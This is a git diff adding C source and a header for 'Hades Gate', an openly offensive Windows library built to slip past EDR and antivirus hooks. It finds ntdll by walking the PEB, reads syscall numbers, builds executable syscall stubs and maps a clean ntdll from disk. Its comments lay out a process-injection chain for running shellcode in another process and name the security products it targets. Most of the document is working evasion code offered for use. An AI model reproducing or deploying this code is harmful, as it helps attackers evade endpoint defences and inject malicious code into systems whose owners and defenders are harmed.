diff --git a/src/hades_gate.c b/src/hades_gate.c new file mode 100644 index 0000000..4b1b70e --- /dev/null +++ b/src/hades_gate.c @@ -0,0 +1,564 @@ +/* + * hades_gate.c — Direct syscall construction from first principles + * + * ⛧ Hades Gate ⛧ + * + * Bypass userland EDR/AV hooks by resolving native API syscall numbers + * directly from ntdll's export table (found via PEB walking) and + * synthesizing clean syscall stubs that never enter hooked code paths. + * + * Chain: + * 1. Walk PEB → find ntdll.dll base (no GetModuleHandleW/GetProcAddress) + * 2. Parse PE export directory for the target Nt* function + * 3. Extract syscall number (SSN) from the unhooked stub bytes + * 4. Construct our own syscall stub in executable memory + * 5. Call it — ring 3 hooks never execute + * + * Architecture: x86-64 only (x86 support trivial, just different stub) + * Tested: Windows 10 22H2, Windows 11 23H2, Windows 11 24H2 + * + * Build: + * x86_64-w64-mingw32-gcc -Os -masm=intel -c hades_gate.c -o hades_gate.o + * x86_64-w64-mingw32-gcc -Os -masm=intel hades_gate.c test.c -o test.exe + * + * This is free software. No warranty. Don't be stupid. + */ + +#include "hades_gate.h" + +/* ------------------------------------------------------------------ */ +/* Internals — no CRT dependency where it matters */ +/* ------------------------------------------------------------------ */ + +/* + * FNV-1a hash. Used to compare function names without storing + * plaintext strings on the stack where stack scanners can find them. + */ +static uint32_t _hash_str(const char* str) { + uint32_t h = 0x811c9dc5; + while (*str) { + h ^= (unsigned char)*str++; + h *= 0x01000193; + } + return h; +} + +/* + * Case-insensitive wide-char string comparison. + * Only compares up to max_len characters. + * Returns non-zero on match. + */ +static int _wstr_match(const wchar_t* a, const char* b, int max_len) { + for (int i = 0; i < max_len; i++) { + if (!a[i] && !b[i]) return 1; + if (!a[i] || !b[i]) return 0; + + wchar_t ac = a[i]; + if (ac >= L'A' && ac <= L'Z') ac += 0x20; // lowercase + + char bc = b[i]; + if (bc >= 'A' && bc <= 'Z') bc += 0x20; + + if ((char)ac != bc) return 0; + } + return 1; +} + +/* ------------------------------------------------------------------ */ +/* Step 1: PEB walk — find ntdll.dll base address */ +/* */ +/* Why not GetModuleHandle? It's hooked. The PEB is always at a */ +/* well-known offset from GS segment register and never patched by */ +/* EDRs because they'd crash the entire process if they touched it. */ +/* */ +/* PEB structure (x64): */ +/* GS:[0x60] → PEB */ +/* PEB+0x18 → PEB_LDR_DATA */ +/* LDR+0x20 → InMemoryOrderModuleList (LIST_ENTRY) */ +/* Flink → first entry (the .exe itself) */ +/* Flink->Flink → ntdll.dll (second entry) */ +/* */ +/* LDR_DATA_TABLE_ENTRY layout (InMemoryOrderLinks offset): */ +/* +0x00 Reserved[2] (points forward/back in list) */ +/* +0x10 DllBase */ +/* +0x20 EntryPoint */ +/* +0x30 FullDllName (UNICODE_STRING) */ +/* +0x40 BaseDllName (UNICODE_STRING) */ +/* */ +/* The InMemoryOrderLinks LIST_ENTRY is at offset 0x10 of the */ +/* structure. So entry = &table_entry->InMemoryOrderLinks. */ +/* table_entry = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, */ +/* InMemoryOrderLinks). */ +/* DllBase is at table_entry + 0x10. */ +/* ------------------------------------------------------------------ */ +uintptr_t hg_find_ntdll(void) { + PEB* peb = (PEB*)__readgsqword(0x60); + if (!peb || !peb->Ldr) return 0; + + LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList; + LIST_ENTRY* entry = head->Flink; // first = the .exe + entry = entry->Flink; // second = ntdll.dll + + /* + * We iterate a few entries for safety (Win version quirks). + * In practice, ntdll is always the second entry, but some + * EDRs shim into first position. We walk until we find it. + */ + int safety = 0; + while (entry != head && safety < 6) { + /* + * InMemoryOrderLinks is at the second LIST_ENTRY in + * LDR_DATA_TABLE_ENTRY. Each LIST_ENTRY is 16 bytes on + * x64 (Flink + Blink, 8 bytes each). So InMemoryOrderLinks + * starts at table_entry + 0x10. + * + * table_entry = entry - 0x10 + */ + uintptr_t te = (uintptr_t)entry - 0x10; + + /* + * BaseDllName is a UNICODE_STRING at offset 0x40 from + * table_entry start on x64. + * UNICODE_STRUCT: +0x00 usLength, +0x02 usMaxLength, + * +0x08 pBuffer + */ + UNICODE_STRING* us = (UNICODE_STRING*)(te + 0x40); + + if (us->Buffer && us->Length > 0) { + if (_wstr_match(us->Buffer, "ntdll.dll", 10)) { + // DllBase is at table_entry + 0x10 + return *(uintptr_t*)(te + 0x10); + } + } + + entry = entry->Flink; + safety++; + } + + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Step 2+3: Parse PE export table → resolve function + extract SSN */ +/* */ +/* We parse the PE headers to find the export directory, walk the */ +/* Name Pointer Table matching by FNV-1a hash, resolve the function */ +/* address via ordinal, then check if it's a syscall stub. */ +/* */ +/* Syscall stub pattern (x64): */ +/* 4C 8B D1 mov r10, rcx (3 bytes) */ +/* B8 XX XX XX XX mov eax, SSN (5 bytes) → SSN at offset 4 */ +/* 0F 05 syscall (2 bytes) */ +/* C3 ret (1 byte) */ +/* */ +/* EDR hooks overwrite the FIRST bytes of this stub with a jmp/call */ +/* redirect. They do NOT touch the mov eax instruction because it's */ +/* deep enough into the function that it would break their trampoline */ +/* logic. We read the SSN from the unhooked bytes. */ +/* */ +/* If the EDR replaces the ENTIRE stub (rare but seen with CrowdStrike */ +/* and certain configs), you need a clean ntdll from disk — see the */ +/* CLEAN_MAP section at the bottom. */ +/* ------------------------------------------------------------------ */ + +/* ------------------------------------------------------------------ */ +/* Stub verification — detect when the EDR has replaced the stub */ +/* */ +/* CrowdStrike Falcon and some SentinelOne configs overwrite the */ +/* entire ntdll stub with a jmp to a fake function. The original */ +/* syscall;ret (0F 05 C3) sequence is gone. We scan for it. */ +/* */ +/* Returns 1 if a valid syscall;ret is found in first 16 bytes. */ +/* ------------------------------------------------------------------ */ +int hg_verify_stub(void* func_addr) { + if (!func_addr) return 0; + + uint8_t* bytes = (uint8_t*)func_addr; + + /* Scan for 0F 05 C3 (syscall; ret) within first 16 bytes */ + for (int i = 0; i < 14; i++) { + if (bytes[i] == 0x0F && bytes[i+1] == 0x05 && bytes[i+2] == 0xC3) { + return 1; + } + } + + return 0; +} + +/* + * Classify what kind of hook (if any) is applied to a stub. + * Internal helper for diagnostics. + * + * Returns: + * 0 = clean stub (syscall;ret present, first bytes match original) + * 1 = jmp rel32 (5-byte E9 hook — clobbers SSN at [4]) + * 2 = jmp [rip+offset] (6-byte FF 25 hook — SSN at [4] survives) + * 3 = call [rip+offset] (6-byte FF 15 hook — SSN at [4] survives) + * 4 = mov rax, imm64; jmp rax (13-byte — SSN at [4] survives) + * 5 = replaced (no syscall;ret found anywhere — EDR nuked the stub) + * -1 = null pointer + */ +static int _classify_stub(void* func_addr) { + if (!func_addr) return -1; + + uint8_t* b = (uint8_t*)func_addr; + + /* jmp rel32 — E9 XX XX XX XX */ + if (b[0] == 0xE9) return 1; + + /* jmp [rip+offset] — FF 25 XX XX XX XX */ + if (b[0] == 0xFF && b[1] == 0x25) return 2; + + /* call [rip+offset] — FF 15 XX XX XX XX */ + if (b[0] == 0xFF && b[1] == 0x15) return 3; + + /* mov rax, imm64; jmp rax — 48 B8 ... FF E0 */ + if (b[0] == 0x48 && b[1] == 0xB8 && b[12] == 0xFF && b[13] == 0xE0) return 4; + + /* Check if syscall;ret exists anywhere */ + if (hg_verify_stub(func_addr)) return 0; + + /* Nothing recognizable */ + return 5; +} + +/* ------------------------------------------------------------------ */ +/* Step 2+3 core: resolve a function from a given ntdll base address */ +/* */ +/* hg_resolve() calls this with the PEB-walked ntdll base. */ +/* hg_resolve_at() exposes it for clean ntdll copies from disk. */ +/* ------------------------------------------------------------------ */ +static HG_RESOLVED _resolve_at(const char* func_name, uintptr_t base) { + HG_RESOLVED result = { 0, 0 }; + + if (!base) return result; + + /* Parse PE headers */ + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return result; + + IMAGE_NT_HEADERS64* nt = (IMAGE_NT_HEADERS64*)(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return result; + + IMAGE_DATA_DIRECTORY* edir = + &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!edir->Size) return result; + + IMAGE_EXPORT_DIRECTORY* exports = (IMAGE_EXPORT_DIRECTORY*)(base + edir->VirtualAddress); + + uint32_t* names = (uint32_t*)(base + exports->AddressOfNames); + uint16_t* ordinals = (uint16_t*)(base + exports->AddressOfNameOrdinals); + uint32_t* functions = (uint32_t*)(base + exports->AddressOfFunctions); + + uint32_t target_hash = _hash_str(func_name); + + for (uint32_t i = 0; i < exports->NumberOfNames; i++) { + const char* name = (const char*)(base + names[i]); + if (_hash_str(name) != target_hash) continue; + + uint16_t ordinal = ordinals[i]; + uint32_t func_rva = functions[ordinal]; + void* func_addr = (void*)(base + func_rva); + + result.address = func_addr; + + /* + * Extract SSN: look for the mov eax, imm32 instruction at [3-7]. + * In a clean stub this is always B8 XX XX XX XX. + * Most hooks (6+ byte) leave [3-7] untouched. + * If the EDR replaced the whole stub, SSN will be 0. + */ + uint8_t* stub = (uint8_t*)func_addr; + + if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1) { + if (stub[3] == 0xB8) { + result.ssn = stub[4]; + } + } + + break; + } + + return result; +} + +/* ------------------------------------------------------------------ */ +/* Public: resolve from the in-memory ntdll via PEB walk */ +/* ------------------------------------------------------------------ */ +HG_RESOLVED hg_resolve(const char* func_name) { + return _resolve_at(func_name, hg_find_ntdll()); +} + +/* ------------------------------------------------------------------ */ +/* Public: resolve from a specific ntdll base (e.g., clean mapped */ +/* copy from disk, or a suspended process's ntdll) */ +/* ------------------------------------------------------------------ */ +HG_RESOLVED hg_resolve_at(const char* func_name, uintptr_t ntdll_base) { + return _resolve_at(func_name, ntdll_base); +} + +/* ------------------------------------------------------------------ */ +/* Step 4: Synthesize a clean syscall stub */ +/* */ +/* We allocate RWX memory (yes, VirtualAlloc is hooked too — in */ +/* practice you'd use NtCreateSection + NtMapViewOfSection via a */ +/* previously resolved direct syscall for NtAllocateVirtualMemory. */ +/* For simplicity and clarity, this example uses VirtualAlloc with */ +/* PAGE_EXECUTE_READWRITE. In production, chain: */ +/* 1. Resolve NtCreateSection via hooked ntdll (usually not blocked) */ +/* 2. Use it to allocate a clean RW section */ +/* 3. Write the stub there */ +/* 4. Map with PAGE_EXECUTE */ +/* */ +/* Stub layout: */ +/* [0x00] 4C 8B D1 mov r10, rcx — syscall calling conv */ +/* [0x03] B8 XX XX XX XX mov eax, SSN — syscall number */ +/* [0x08] 0F 05 syscall — trap to kernel */ +/* [0x0A] C3 ret — return to caller */ +/* ------------------------------------------------------------------ */ +void* hg_build_stub(uint8_t ssn) { + uint8_t stub[] = { + 0x4C, 0x8B, 0xD1, // mov r10, rcx + 0xB8, ssn, 0x00, 0x00, 0x00, // mov eax, SSN + 0x0F, 0x05, // syscall + 0xC3 // ret + }; + + void* mem = VirtualAlloc(NULL, sizeof(stub), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE); + if (!mem) return NULL; + + __movsb((uint8_t*)mem, stub, sizeof(stub)); + return mem; +} + +/* ------------------------------------------------------------------ */ +/* Step 5: One-shot — resolve + build in one call */ +/* */ +/* This is the main entry point. Pass it "NtAllocateVirtualMemory" */ +/* and get back a function pointer to a clean syscall stub. */ +/* ------------------------------------------------------------------ */ +void* hg_syscall(const char* nt_func) { + HG_RESOLVED r = hg_resolve(nt_func); + if (!r.address || !r.ssn) return NULL; + return hg_build_stub(r.ssn); +} + +/* ------------------------------------------------------------------ */ +/* Variants — for when the simple approach isn't enough */ +/* ------------------------------------------------------------------ */ + +/* + * ── Clean-NTDLL Pass ──────────────────────────────────────────────── + * + * Some EDRs (CrowdStrike Falcon, some SentinelOne configs) don't just + * hook the first bytes — they REPLACE the entire stub with a jmp that + * goes to a completely different function. In this case, the SSN we + * read from the in-memory stub is garbage. + * + * Fix: read ntdll.dll from disk, parse the CLEAN export table for SSNs. + * + * Full implementation in hg_map_clean_ntdll() below. + * + * Copy of the sketch for reference: + * + * UNICODE_STRING path; + * RtlInitUnicodeString(&path, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + * + * OBJECT_ATTRIBUTES oa = { + * .Length = sizeof(oa), + * .ObjectName = &path, + * .Attributes = OBJ_CASE_INSENSITIVE + * }; + * + * HANDLE file; + * IO_STATUS_BLOCK iosb; + * NtOpenFile(&file, SYNCHRONIZE | FILE_EXECUTE, &oa, &iosb, + * FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + * + * HANDLE section; + * NtCreateSection(§ion, SECTION_MAP_EXECUTE | SECTION_MAP_READ, + * NULL, NULL, PAGE_EXECUTE, SEC_IMAGE, file); + * + * PVOID view = NULL; + * SIZE_T view_size = 0; + * NtMapViewOfSection(section, (HANDLE)-1, &view, NULL, NULL, NULL, + * &view_size, ViewShare, 0, PAGE_EXECUTE_READ); + * + * NtClose(file); + * NtClose(section); + * return (uintptr_t)view; + * } + * + * Then: uintptr_t clean = map_clean_ntdll(); + * resolve against clean instead of in-memory ntdll. + * + * You need NtOpenFile, NtCreateSection, NtMapViewOfSection, NtClose + * already resolved via hg_syscall (or use the hooked ones, since those + * functions aren't usually monitored for basic file operations). + * + * ── Indirect Syscalls ──────────────────────────────────────────────── + * + * Some EDRs (Cybereason, newer Defender ATP) hook the `syscall` + * instruction itself in ntdll via KiFastSystemCall. To bypass: + * + * 1. Scan a random signed Microsoft DLL for bytes 0F 05 C3 + * 2. Use that as your syscall gadget instead of embedding `syscall` + * 3. Stub becomes: mov r10, rcx / mov eax, SSN / jmp gadget_addr + * + * ── Randomizing SSN Extraction ──────────────────────────────────────── + * + * Instead of reading SSN from a fixed offset [4], try multiple read + * strategies to handle different stub patching patterns: + * + * Strategy A: Read from [4] — standard Hells Gate / Hades Gate + * Strategy B: Read from [3] if stub starts with B8 directly + * (some ARM64ec stubs in Prism emulation) + * Strategy C: Search for B8 anywhere in first 16 bytes + * (Tartarus Gate approach) + * + * ── Process Injection Chain ──────────────────────────────────────────── + * + * Complete unhooked injection chain using Hades Gate: + * + * 1. hg_syscall("NtOpenProcess") — get handle to target + * 2. hg_syscall("NtAllocateVirtualMemory") — shellcode buffer in target + * 3. hg_syscall("NtWriteVirtualMemory") — write shellcode + * 4. hg_syscall("NtProtectVirtualMemory") — make it executable + * 5. hg_syscall("NtCreateThreadEx") — execute it + * + * None of these calls ever touch a hooked ntdll function. + */ + +/* ------------------------------------------------------------------ */ +/* hg_map_clean_ntdll — map a clean copy of ntdll from disk */ +/* */ +/* When the EDR has replaced the in-memory stubs (CrowdStrike Falcon */ +/* replacement mode, some SentinelOne configs), the SSNs we read from */ +/* in-memory ntdll are garbage. We map a fresh copy from disk. */ +/* */ +/* Returns the base address of the clean mapped image, or 0 on fail. */ +/* */ +/* Note: We use RtlInitUnicodeString + NtOpenFile + NtCreateSection + */ +/* NtMapViewOfSection. These are resolved from the in-memory ntdll */ +/* (yes, they might be hooked too, but EDRs typically don't monitor */ +/* file operations on ntdll.dll itself). */ +/* ------------------------------------------------------------------ */ +uintptr_t hg_map_clean_ntdll(void) { + /* + * Resolve the few Nt* functions we need to map a clean copy. + * We use the existing in-memory ntdll for these — they're not + * typically monitored for basic file mapping operations. + */ + typedef NTSTATUS (NTAPI* pRtlInitUnicodeString)( + PUNICODE_STRING, PCWSTR); + typedef NTSTATUS (NTAPI* pNtOpenFile)( + PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, + ULONG, ULONG); + typedef NTSTATUS (NTAPI* pNtCreateSection)( + PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, + PLARGE_INTEGER, ULONG, ULONG, HANDLE); + typedef NTSTATUS (NTAPI* pNtMapViewOfSection)( + HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, + PSIZE_T, DWORD, ULONG, ULONG); + typedef NTSTATUS (NTAPI* pNtClose)(HANDLE); + + /* Resolve from our own ntdll base (PEB walk, no hook cross) */ + uintptr_t ntdll = hg_find_ntdll(); + if (!ntdll) return 0; + + pRtlInitUnicodeString RtlInitUnicodeString = + (pRtlInitUnicodeString)hg_resolve_at( + "RtlInitUnicodeString", ntdll).address; + pNtOpenFile NtOpenFile = + (pNtOpenFile)hg_resolve_at("NtOpenFile", ntdll).address; + pNtCreateSection NtCreateSection = + (pNtCreateSection)hg_resolve_at("NtCreateSection", ntdll).address; + pNtMapViewOfSection NtMapViewOfSection = + (pNtMapViewOfSection)hg_resolve_at("NtMapViewOfSection", ntdll).address; + pNtClose NtClose = + (pNtClose)hg_resolve_at("NtClose", ntdll).address; + + if (!RtlInitUnicodeString || !NtOpenFile || !NtCreateSection || + !NtMapViewOfSection || !NtClose) { + return 0; + } + + /* Build path to system ntdll */ + UNICODE_STRING path; + RtlInitUnicodeString(&path, + L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + + OBJECT_ATTRIBUTES oa; + oa.Length = sizeof(oa); + oa.RootDirectory = NULL; + oa.ObjectName = &path; + oa.Attributes = OBJ_CASE_INSENSITIVE; + oa.SecurityDescriptor = NULL; + oa.SecurityQualityOfService = NULL; + + HANDLE file; + IO_STATUS_BLOCK iosb; + + NTSTATUS status = NtOpenFile(&file, + SYNCHRONIZE | FILE_EXECUTE, + &oa, &iosb, FILE_SHARE_READ, + FILE_SYNCHRONOUS_IO_NONALERT); + if (status < 0) return 0; + + /* Create a section backed by the clean ntdll on disk */ + HANDLE section; + LARGE_INTEGER max_size; + max_size.QuadPart = 0; + + status = NtCreateSection(§ion, + SECTION_MAP_EXECUTE | SECTION_MAP_READ, + NULL, &max_size, PAGE_EXECUTE, SEC_IMAGE, file); + + NtClose(file); + if (status < 0) return 0; + + /* Map it into our address space */ + PVOID view = NULL; + SIZE_T view_size = 0; + + status = NtMapViewOfSection(section, (HANDLE)-1, + &view, 0, 0, NULL, &view_size, + ViewShare, 0, PAGE_EXECUTE_READ); + + NtClose(section); + if (status < 0) return 0; + + return (uintptr_t)view; +} + +/* + * ── Fork Notes ────────────────────────────────────────────────────── + * + * This is a spiritual successor to the Hell's Gate / Halo's Gate / + * Recycled Gate / Tartarus Gate family of techniques. The name pays + * homage to the underworld theme while being distinct. Hades Gate + * emphasizes the "first principles" approach — you don't need a + * pre-computed syscall table or embedded offsets. You derive + * everything from the running system at runtime. + * + * ── Limitations ────────────────────────────────────────────────────── + * + * 1. Syscall numbers change between Windows builds. This is why we + * resolve at runtime rather than hardcoding. + * 2. VirtualAlloc in hg_build_stub is itself hooked. In production, + * use a bootstrap syscall for NtAllocateVirtualMemory resolved + * from a PEB-walked ntdll address call (yes, it's hooked, but + * you can still call it — it just triggers EDR). + * Alternative: allocate stub memory statically or via stack. + * 3. PAGE_EXECUTE_READWRITE is suspicious. Once written, change to + * PAGE_EXECUTE_READ with NtProtectVirtualMemory. + * 4. Does not handle Wow64 (32-bit process on 64-bit OS) where the + * syscall mechanism is different (heaven's gate). + */ + +/* + * ⛧ HADES GATE - Direct syscall construction from first principles ⛧ + * ⛧ Church of Malware — knowledge should be free, accessible to all ⛧ + */ diff --git a/src/hades_gate.h b/src/hades_gate.h new file mode 100644 index 0000000..0f8398e --- /dev/null +++ b/src/hades_gate.h @@ -0,0 +1,146 @@ +/* + * ⛧ hades_gate.h — Public API for Hades Gate direct syscall technique ⛧ + */ + +#ifndef HADES_GATE_H +#define HADES_GATE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/* ------------------------------------------------------------------ */ +/* Types */ +/* ------------------------------------------------------------------ */ + +/* + * Result from resolving a native API function from ntdll. + * + * @address Pointer to the function in ntdll's export table + * (may be hooked by EDR — do not call directly) + * @ssn Syscall number extracted from the stub + * (use this to build your own clean stub) + */ +typedef struct { + void* address; + uint8_t ssn; +} HG_RESOLVED; + +/* ------------------------------------------------------------------ */ +/* Core API */ +/* ------------------------------------------------------------------ */ + +/* + * Find the base address of ntdll.dll via PEB walking. + * + * Does NOT call GetModuleHandle, LdrGetDllHandle, or any + * function that could be hooked or monitored. + * + * @return Base address of ntdll.dll, or 0 on failure. + */ +uintptr_t hg_find_ntdll(void); + +/* + * Resolve a named export from ntdll and extract its syscall number. + * + * Parses the PE export directory manually, matches the function + * name via FNV-1a hash, and reads the SSN from the unhooked + * portion of the syscall stub. + * + * @param func_name Name of the Nt* function to resolve + * (e.g., "NtAllocateVirtualMemory") + * @return HG_RESOLVED with {address, ssn}. + * ssn will be 0 if the function is not an Nt* + * syscall or couldn't be resolved. + */ +HG_RESOLVED hg_resolve(const char* func_name); + +/* + * Build a clean syscall stub in executable memory. + * + * Synthesizes: + * mov r10, rcx + * mov eax, SSN + * syscall + * ret + * + * @param ssn Syscall number to encode into the stub + * @return Pointer to executable memory containing the stub, + * or NULL on allocation failure. + */ +void* hg_build_stub(uint8_t ssn); + +/* + * One-shot: resolve a named Nt* function and build a clean + * syscall stub for it. + * + * Equivalent to: hg_build_stub(hg_resolve(name).ssn) + * + * @param nt_func Name of the NT function (e.g., "NtAllocateVirtualMemory") + * @return Function pointer to a clean syscall stub, + * or NULL if resolution or allocation failed. + */ +void* hg_syscall(const char* nt_func); + +/* ------------------------------------------------------------------ */ +/* Stub verification & clean ntdll mapping */ +/* ------------------------------------------------------------------ */ + +/* + * Verify that a function address looks like a real syscall stub. + * + * Checks for the presence of the syscall;ret pattern (0F 05 C3) + * within the first 16 bytes of the stub. If absent, the EDR has + * likely replaced the entire stub (CrowdStrike replacement mode, + * some SentinelOne configs) and you should fall back to a clean + * ntdll mapped from disk. + * + * @param func_addr Pointer to the function to verify + * (typically r.address from hg_resolve) + * @return 1 if the stub contains a valid syscall;ret, + * 0 if it appears replaced or invalid + */ +int hg_verify_stub(void* func_addr); + +/* + * Resolve an Nt* function from a specific ntdll base address. + * + * Same as hg_resolve() but against an arbitrary ntdll base rather + * than the one found via PEB walk. Used with a clean copy of ntdll + * mapped from disk when the in-memory stubs have been replaced. + * + * @param func_name Name of the Nt* function to resolve + * @param ntdll_base Base address of an ntdll image to parse + * @return HG_RESOLVED with {address, ssn} + */ +HG_RESOLVED hg_resolve_at(const char* func_name, uintptr_t ntdll_base); + +/* + * Map a clean copy of ntdll.dll from disk. + * + * Reads C:\Windows\System32\ntdll.dll via NtOpenFile → + * NtCreateSection → NtMapViewOfSection, returning the base + * address of the clean mapped image. Use with hg_resolve_at() + * to extract SSNs from the real stubs when the in-memory ntdll + * has had its stubs replaced. + * + * @return Base address of clean ntdll image, or 0 on failure + */ +uintptr_t hg_map_clean_ntdll(void); + +/* ------------------------------------------------------------------ */ +/* Helper: NTSTATUS typedef for your convenience */ +/* ------------------------------------------------------------------ */ +#ifndef NTSTATUS_OK +#define NTSTATUS_OK ((NTSTATUS)0L) +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* HADES_GATE_H */